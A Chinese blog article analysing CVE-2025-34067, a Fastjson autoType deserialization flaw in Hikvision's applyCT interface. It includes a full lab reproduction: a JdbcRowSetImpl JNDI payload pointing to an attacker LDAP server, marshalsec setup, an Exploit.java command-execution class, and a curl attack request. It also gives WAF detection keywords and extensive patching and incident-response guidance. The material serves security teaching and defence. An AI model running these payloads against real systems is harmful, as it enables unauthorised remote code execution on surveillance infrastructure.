Fastjson反序列化漏洞深度解析:从JNDI注入到供应链安全防御

发布时间:2026/7/3 11:45:38
Fastjson反序列化漏洞深度解析:从JNDI注入到供应链安全防御 1. 项目概述一次由组件依赖引发的“物理级”安全危机最近安全圈里讨论热度最高的恐怕就是海康威视applyCT组件爆出的那个CVSS 10.0满分漏洞了。作为一个常年和安防设备、视频监控平台打交道的从业者看到CVE-2025-34067这个编号时心里咯噔一下。这不仅仅是一个普通的远程代码执行漏洞它的特殊性在于攻击者无需任何用户名密码就能直接对一个部署在关键物理安防场景中的核心管理平台“发号施令”。想象一下攻击者可以像管理员一样远程操控成千上万的摄像头、篡改录像、甚至关闭整个区域的安防警报——这已经从单纯的网络入侵演变成了对物理世界安全的直接威胁。这个漏洞的根源指向了一个我们Java开发者再熟悉不过的“老朋友”Fastjson。一个用于解析JSON数据的开源库因为其默认开启的autoType特性在过去几年里已经引发了多起严重的安全事件。而这一次它出现在了海康威视的applyCT即HikCentral组件中。applyCT是什么你可以把它理解为一个安防界的“中枢大脑”它负责集中管理、调度和分析来自海康威视各类摄像头、门禁、报警器的数据广泛应用于智慧城市、大型园区、金融机构等对安全要求极高的场所。当这样一个核心组件的某个对外接口/bic/ssoService/v1/applyCT在反序列化用户传入的JSON数据时使用了存在漏洞的Fastjson版本潘多拉魔盒就被打开了。对于安全研究人员、渗透测试工程师和负责企业安防系统运维的IT人员来说深入理解这个漏洞的原理、利用方式以及防御手段是当前一项非常紧迫且必要的任务。这不仅是为了应对CVE-2025-34067本身更是为了建立起一套针对此类“供应链漏洞”的深度防御思维。下面我将从一个实战分析的角度带你层层剥开这个漏洞的细节并分享在真实环境中如何排查、验证以及从根本上加固系统。2. 漏洞核心原理深度拆解Fastjson反序列化为何屡成“重灾区”要理解CVE-2025-34067我们必须先吃透Fastjson反序列化漏洞的“祖传”机理。这不是一个全新的漏洞类型但其危害性在特定上下文中被无限放大。2.1 Fastjson的AutoType机制便利与风险的孪生兄弟Fastjson作为一个高性能的JSON处理器其一大特色是autoType功能。简单来说当它从JSON字符串反序列化成Java对象时可以通过type这个字段来指定要实例化的具体类。比如{type:com.example.User, name:test}Fastjson就会尝试去加载com.example.User这个类并把name属性赋值进去。这为处理多态对象提供了极大的便利。然而便利的背后是巨大的安全风险。关键在于Fastjson在默认情况下会按照type指定的类名去加载类。如果攻击者能够控制这个类名并将其指向一个存在于目标Classpath中的、具有危险方法的类那么反序列化过程就不再是单纯的数据填充而可能变成代码执行的触发器。Fastjson团队意识到了这个问题并引入了黑白名单机制来限制可反序列化的类。但安全攻防是一场持续的猫鼠游戏。历史上多个Fastjson版本的黑名单都曾被绕过攻击者通过精心构造的类名和利用JDK或第三方库中的“无害”类作为跳板最终调用到如JdbcRowSetImpl这样的危险类从而实施攻击。2.2 漏洞利用链JNDI注入与LDAP的“里应外合”CVE-2025-34067的利用链是Fastjson漏洞一个非常经典的利用模式Fastjson反序列化 - 触发JdbcRowSetImpl - JNDI lookup - LDAP协议加载远程恶意类。我们来拆解一下攻击者发送的那个恶意Payload{ a: { type: java.lang.Class, val: com.sun.rowset.JdbcRowSetImpl }, b: { type: com.sun.rowset.JdbcRowSetImpl, dataSourceName: ldap://xxx.xxx.xxx.xxx/Basic/TomcatEcho, autoCommit: true }, hfe4zyyzldp: }第一步引导类加载。Payload中的a对象其type是java.lang.Classval是com.sun.rowset.JdbcRowSetImpl。这一步的作用是让Fastjson在反序列化过程中提前将JdbcRowSetImpl这个类加载到内存中为后续利用做准备。这是一种常见的绕过技巧确保目标类可用。第二步实例化危险类并设置陷阱。b对象才是真正的攻击载荷。它指定type为com.sun.rowset.JdbcRowSetImpl。当Fastjson反序列化到这个对象时会调用其setter方法为属性赋值。这里关键的一行是dataSourceName: ldap://攻击者IP/Basic/TomcatEcho。第三步触发JNDI注入。JdbcRowSetImpl类有一个setDataSourceName方法。当这个方法被调用后如果后续触发了setAutoCommit(true)Payload中正是如此该类内部的connect()方法会被调用。在connect()方法中会执行一段关键代码InitialContext.lookup(dataSourceName)。第四步LDAP服务器响应攻击。这里的dataSourceName不是一个普通的数据库连接字符串而是一个LDAP URLldap://。InitialContext.lookup()会向攻击者控制的LDAP服务器xxx.xxx.xxx.xxx发起请求查询Basic/TomcatEcho这个条目。第五步远程类加载与代码执行。攻击者搭建的恶意LDAP服务器可以在其返回的条目中指向另一个HTTP服务器上的一个恶意Java类文件.class。如果目标Java环境版本较低通常指JDK 8u191、7u201、6u211之前且未设置com.sun.jndi.ldap.object.trustURLCodebase为false那么Java的JNDI实现就会自动从该HTTP地址下载并实例化这个恶意类。这个恶意类的静态代码块或构造函数中包含了攻击者想要执行的任意命令例如反弹Shell、下载木马、执行系统命令等。关键点提示即使在高版本JDK中JNDI注入利用LDAP加载远程类的方式被默认限制攻击者依然可能通过利用目标本地Classpath中已有的、具有危险行为的类即“利用本地Gadget链”来达到同样目的。这使得Fastjson漏洞的利用方式更加灵活和难以防御。2.3 ApplyCT组件的“助攻”未授权访问接口原理清楚了那么攻击如何触达呢这就是applyCT组件自身的问题了。根据公开信息漏洞接口路径为/bic/ssoService/v1/applyCT。从路径命名看它可能隶属于单点登录SSO或应用控制相关服务。最致命的一点是这个接口在处理请求前没有进行有效的身份认证和授权校验。这意味着任何能够通过网络访问到该服务端口的攻击者都可以直接向其发送HTTP请求而不需要提供任何形式的令牌、Cookie或证书。将高危的Fastjson反序列化操作暴露在一个未授权的接口上无疑是给攻击者敞开了大门。结合安防管理平台常部署于内网、但有时因运维疏忽或业务需要将Web管理界面映射到公网的情况这个漏洞的潜在攻击面非常大。攻击者通过互联网扫描暴露了该端口的IP即可长驱直入。3. 漏洞环境搭建与复现分析出于安全研究和教育的目的在受控环境中复现漏洞是理解其危害和验证修复方案的最佳途径。请注意以下所有操作必须在你自己拥有完全控制权的隔离实验环境如虚拟机中进行严禁对任何非授权目标进行测试。3.1 实验环境准备为了模拟漏洞场景我们需要搭建一个简化的、包含漏洞版本Fastjson的Java Web应用。基础环境操作系统Ubuntu 20.04 / CentOS 7 或 Windows 10/11。JDK版本为了完整演示经典的LDAP利用链建议使用JDK 8u191以下版本例如 JDK 8u181。这是复现成功的关键。构建工具Maven 3.6。创建漏洞模拟应用 我们可以创建一个简单的Spring Boot Web应用并故意引入存在漏洞的Fastjson版本。!-- pom.xml 依赖片段 -- dependencies dependency groupIdorg.springframework.boot/groupId artifactIdspring-boot-starter-web/artifactId /dependency !-- 引入存在漏洞的Fastjson版本例如1.2.24 -- dependency groupIdcom.alibaba/groupId artifactIdfastjson/artifactId version1.2.24/version /dependency /dependencies编写漏洞接口 创建一个模拟applyCT接口的Controller。这里的关键是使用JSON.parseObject()方法处理用户传入的body并且没有关闭autoType。import com.alibaba.fastjson.JSON; import org.springframework.web.bind.annotation.*; RestController RequestMapping(/bic/ssoService/v1) public class VulnerableController { PostMapping(/applyCT) public String applyCT(RequestBody String jsonData) { // 危险操作直接使用存在漏洞的Fastjson解析不可信的JSON数据 Object obj JSON.parseObject(jsonData); // ... 后续业务逻辑在真实漏洞中可能不会执行到这里因为反序列化时已触发RCE return Processing done; } }3.2 攻击工具链搭建复现此漏洞需要两个关键的攻击端组件一个恶意LDAP服务器和一个用于托管恶意Java类的HTTP服务器。使用 marshalsec 启动LDAP服务marshalsec是一个常用的JNDI注入利用工具。我们需要先编译它。git clone https://github.com/mbechler/marshalsec.git cd marshalsec mvn clean package -DskipTests编译成功后在target目录下会生成marshalsec-0.0.3-SNAPSHOT-all.jar。使用它启动一个恶意的LDAP服务并指定后续HTTP服务地址和恶意类名。java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://你的HTTP服务器IP:端口/#Exploit 1389这条命令会在本地的1389端口启动一个LDAP服务器。当有客户端即存在漏洞的applyCT服务连接并查询时它会返回一个指向http://你的HTTP服务器IP:端口/Exploit.class的引用。准备并托管恶意Java类 创建一个名为Exploit.java的恶意类其静态代码块中包含要执行的命令。例如执行一个计算器命令Linux下为gnome-calculator或xcalcWindows下为calc.exe作为证明。// Exploit.java public class Exploit { static { try { // 根据不同操作系统执行命令 String os System.getProperty(os.name).toLowerCase(); Process p; if (os.contains(win)) { p Runtime.getRuntime().exec(calc.exe); } else if (os.contains(mac)) { p Runtime.getRuntime().exec(open -a Calculator); } else { p Runtime.getRuntime().exec(gnome-calculator); } p.waitFor(); } catch (Exception e) { e.printStackTrace(); } } }注意在实际攻击中这里可能会是反弹Shell、下载木马等恶意命令此处仅用于教学演示。编译这个类javac Exploit.java会生成Exploit.class文件。 然后在恶意类所在目录使用Python快速启动一个HTTP服务器供LDAP服务器引用python3 -m http.server 88883.3 发起攻击与结果验证现在所有组件都已就绪漏洞应用运行在http://localhost:8080恶意LDAP服务器运行在攻击机IP:1389恶意HTTP服务器运行在攻击机IP:8888使用curl或Burp Suite等工具向漏洞接口发送构造好的Payload。将下面命令中的ldap://xxx.xxx.xxx.xxx:1389/Exploit替换成你的LDAP服务器地址。curl -X POST http://localhost:8080/bic/ssoService/v1/applyCT \ -H Content-Type: application/json \ -d { a:{ type:java.lang.Class, val:com.sun.rowset.JdbcRowSetImpl }, b:{ type:com.sun.rowset.JdbcRowSetImpl, dataSourceName:ldap://你的攻击机IP:1389/Exploit, autoCommit:true }, hfe4zyyzldp: }如果环境配置正确尤其是JDK版本符合要求你会看到漏洞应用所在的服务器上弹出了计算器程序。这直观地证明了未授权远程代码执行已经成功。复现心得与坑点JDK版本是成败关键高版本JDK8u191默认禁用了从远程Codebase加载类上述LDAP利用方式会失败。此时需要寻找利用本地Classpath中已有类的“二次反序列化”Gadget链这类利用构造更为复杂。网络连通性确保漏洞服务器能访问到你的攻击机LDAP和HTTP服务。在虚拟机环境中注意网络模式NAT/桥接的设置。防火墙临时关闭漏洞服务器和攻击机上的防火墙避免网络连接被阻断。依赖版本确保模拟应用使用的Fastjson版本是存在漏洞的如1.2.24, 1.2.47等不同版本的绕过Payload可能略有不同。4. 影响范围与真实威胁场景推演CVE-2025-34067被评为CVSS 4.0标准下的满分10.0这绝非危言耸听。我们可以从技术影响和业务影响两个维度来评估其严重性。4.1 技术影响一条直达核心的通道从技术视角看这个漏洞提供了“三位一体”的完美攻击条件未授权访问绕过所有认证关卡直接面对核心逻辑。远程代码执行获得在目标服务器上执行任意命令的最高权限等同于系统沦陷。高权限上下文applyCT作为安防管理平台通常以高权限如root或SYSTEM的系统服务运行。攻击者获取的即是此高权限shell。这意味着攻击者可以在受影响的服务器上植入持久化后门添加SSH密钥、创建隐藏账户、安装Rootkit或Webshell。进行内网横向移动以该服务器为跳板利用其内网信任关系扫描并攻击网络中的其他设备如数据库、文件服务器、其他安防设备。窃取敏感数据访问applyCT平台数据库获取摄像头布局图、用户信息、视频录像索引、门禁日志等核心安防数据。破坏系统完整性删除或加密系统文件导致平台服务瘫痪。4.2 业务影响从数字世界到物理世界的安全崩塌这才是CVE-2025-34067最令人担忧的部分。海康威视的设备和管理平台守护着无数真实的物理空间安全。场景一关键基础设施监控失效。假设一个大型水厂的监控中心部署了存在漏洞的HikCentral平台。攻击者利用漏洞入侵后可以篡改视频流将实时画面定格在“一切正常”的画面而实际现场可能已发生泄漏或入侵导致监控人员完全不知情。删除告警录像在发生安全事件后删除相关的录像记录毁灭证据。操控云台摄像头远程转动摄像头使其避开关键区域为物理入侵创造盲区。场景二商业机密与隐私泄露。在大型零售店、研发中心或办公楼攻击者可以实时窥视调用任意摄像头的实时流进行商业间谍活动或侵犯个人隐私。批量下载历史录像窃取长期积累的监控数据分析人员流动、商业动线等敏感信息。场景三城市安防系统被挟持。在智慧城市项目中海康平台可能管理着交通路口、广场、车站的摄像头。攻击者可能制造公共混乱同时关闭一大片区域的摄像头为违法犯罪活动提供掩护。干扰应急响应在突发事件时使应急指挥中心无法调取关键现场画面。这种将网络漏洞直接转化为物理安全风险的能力使得CVE-2025-34067的威胁等级达到了前所未有的高度。攻击者不再仅仅是窃取数据而是获得了干扰现实世界秩序的能力。5. 漏洞排查与应急响应实战指南如果你的组织使用了海康威视的applyCT或HikCentral平台立即行动是唯一的选择。以下是按优先级排序的应急响应步骤。5.1 第一步快速风险确认与隔离资产梳理立即盘点网络中所有部署了海康威视HikCentral或applyCT组件的服务器。注意其IP地址、主机名和部署位置。网络访问控制立即策略在防火墙上对上述服务器的/bic/ssoService/v1/applyCT接口路径或整个管理端口如80/443/8000等实施严格的入站访问控制。原则上只允许运维堡垒机或特定管理终端的IP访问。如果业务允许直接阻断从互联网到该端口的所有访问。检查暴露面使用Shodan、Fofa、ZoomEye等网络空间测绘引擎以“Hikvision”、“HikCentral”等关键词搜索确认你的公网IP是否意外暴露了相关服务。日志审计紧急检查应用服务器、Web服务器如Nginx/Apache以及网络设备防火墙、WAF的访问日志搜索对/bic/ssoService/v1/applyCT路径的POST请求。特别关注来自异常IP地址、在漏洞公开时间点前后的大量请求。5.2 第二步漏洞存在性验证安全方式在隔离环境后需要验证系统是否确实存在漏洞。切勿直接在生产环境进行攻击测试版本信息收集登录到applyCT服务器查找Fastjson的JAR包。常见路径如/usr/local/tomcat/webapps/应用名/WEB-INF/lib/fastjson-*.jar。使用命令查看版本java -cp fastjson-1.2.xx.jar com.alibaba.fastjson.JSON部分版本会输出版本信息或直接解压JAR查看META-INF/MANIFEST.MF文件。确认Fastjson版本是否为已知受影响版本例如1.2.80及之前的多个版本。海康官方补丁应会升级到一个安全版本如1.2.83或更高。无害化探测 可以尝试发送一个不包含恶意代码、但能触发特定响应的Payload来判断是否存在Fastjson反序列化点。例如发送一个包含不存在类的type的请求观察返回的错误信息是否包含Fastjson特有的类加载错误。curl -X POST http://目标地址/bic/ssoService/v1/applyCT -H Content-Type: application/json -d {type:java.lang.AutoCloseable}如果返回错误信息中包含autoType is not support或类似Fastjson的报错则强烈表明该接口使用了Fastjson且可能开启着autoType风险极高。5.3 第三步应用官方补丁与安全加固这是治本之策。获取并应用补丁立即联系海康威视技术支持或关注其官方安全公告获取针对CVE-2025-34067的官方补丁。补丁通常会采取以下一种或多种措施升级Fastjson库将组件中的Fastjson升级到已修复漏洞的版本建议1.2.83及以上。关闭autoType在代码中全局设置ParserConfig.getGlobalInstance().setAutoTypeSupport(false);。这是最根本的加固方式。添加安全黑名单使用ParserConfig.getGlobalInstance().addDeny()方法将已知的危险类如com.sun.rowset.JdbcRowSetImpl、org.apache.tomcat.dbcp.dbcp2.BasicDataSource等加入黑名单。修复接口认证为/bic/ssoService/v1/applyCT接口添加强制的身份认证和权限校验。依赖组件全面排查一个applyCT应用可能依赖多个子模块或第三方库。使用mvn dependency:treeMaven项目或类似的依赖分析工具全面检查整个项目中所有对Fastjson的间接依赖确保无一遗漏地升级或排除。WAF/IPS规则临时防护在应用补丁的空窗期可以在Web应用防火墙WAF或入侵防御系统IPS上部署临时规则拦截对/bic/ssoService/v1/applyCT路径的POST请求或者检测请求体中是否包含type、JdbcRowSetImpl、dataSourceName等关键攻击特征。但这只是缓兵之计不能替代打补丁。5.4 第四步入侵痕迹排查与后处理如果怀疑系统已被入侵需进行深度排查系统进程与网络连接使用ps auxf、netstat -antp等命令检查是否有未知进程、异常外连特别是到陌生IP的LDAP/HTTP连接。文件系统变化检查Web目录如webapps下是否有新增的、可疑的.jsp、.war文件Webshell。检查/tmp、/dev/shm等临时目录是否有可疑脚本。使用find命令结合文件修改时间(-mtime)进行筛查。计划任务与启动项检查crontab -l、/etc/rc.local、/etc/init.d/等位置看是否有攻击者添加的持久化任务。日志清理痕迹检查系统日志/var/log/、Tomcat日志catalina.out、localhost_access_log是否有大量缺失或被清空的异常情况。如果发现确凿的入侵证据最安全的做法是立即下线受影响主机保存完整镜像用于取证然后从干净的备份中进行恢复并在恢复后立即应用所有安全补丁。6. 深度防御从源头避免“下一个Fastjson”CVE-2025-34067给我们敲响了警钟供应链安全至关重要。一个被广泛使用的开源组件漏洞足以撼动无数企业的安全防线。以下是一些长期的、根本性的防御建议6.1 安全开发规范SDL落地禁用不安全的反序列化在项目规范中明确要求禁止使用具有已知安全风险的序列化/反序列化组件如Fastjson的默认配置、Java原生序列化处理不可信数据。对于JSON解析优先考虑使用更安全的库如Jackson或Gson并确保正确配置。输入验证与白名单对所有外部输入进行严格的验证和过滤。对于类似type这样的功能字段如果业务非必需应直接拒绝如果必需必须实现严格的白名单机制只允许反序列化预先定义好的、安全的类。最小权限原则运行Java应用的服务应使用专用的、低权限的系统账户而非root。这可以在即使发生RCE时限制攻击者能造成的破坏范围。依赖组件安全管理软件物料清单SBOM建立和维护所有项目的SBOM清晰掌握每一个直接和间接依赖。自动化漏洞扫描在CI/CD流水线中集成依赖漏洞扫描工具如OWASP Dependency-Check、Trivy、Snyk对每次构建进行扫描阻断含有高危漏洞的组件上线。定期更新策略制定第三方库的定期评审和更新计划及时修复已知漏洞。6.2 网络与运行时防护严格的网络分段将安防管理平台、视频存储服务器等关键系统部署在独立的网络区域与办公网、互联网进行严格隔离。通过防火墙策略仅开放最小必要的通信端口。出站连接控制在主机或网络防火墙上严格限制服务器发起的出站连接。特别是要阻止内部服务器随意向外部IP发起LDAP、RMI、HTTP等协议连接这可以阻断大部分JNDI注入攻击的回连。应用运行时保护RASP考虑部署RASP解决方案。RASP像疫苗一样注入到应用中能在运行时监控和拦截危险行为例如检测到Runtime.exec()、ProcessBuilder的调用或异常的JNDI查找请求即使漏洞被触发也能在最后一步进行阻断。升级JDK版本将生产环境的JDK升级到最新长期支持LTS版本。高版本JDK如8u191默认限制了JNDI从远程地址加载类极大地增加了此类漏洞的利用门槛。6.3 建立有效的监控与响应体系异常行为监控建立针对服务器的基线监控包括异常的进程创建、网络外连尤其是到非常用端口的连接、敏感目录的文件创建等。使用SIEM或安全分析平台进行集中告警。专项漏洞预警与响应流程订阅权威的安全漏洞公告如CNVD、CNNVD、NVD并建立针对供应链关键组件如Fastjson、Log4j2、Spring Framework的专项应急响应流程。确保在漏洞爆发时能快速定位受影响资产、评估风险、并协调修复。CVE-2025-34067是一次深刻的教训。它告诉我们在数字化与物理世界深度融合的今天一个软件组件的漏洞其破坏力可以穿透虚拟的比特世界直接作用于现实的钢铁水泥之中。作为防御者我们必须以更系统、更纵深的思想来构建我们的安全体系从代码开发、供应链管理到网络架构和运行时监控每一个环节都不能松懈。修复这个漏洞是当前必须完成的任务但更重要的是通过这次事件审视并加固我们整个安全防御的链条。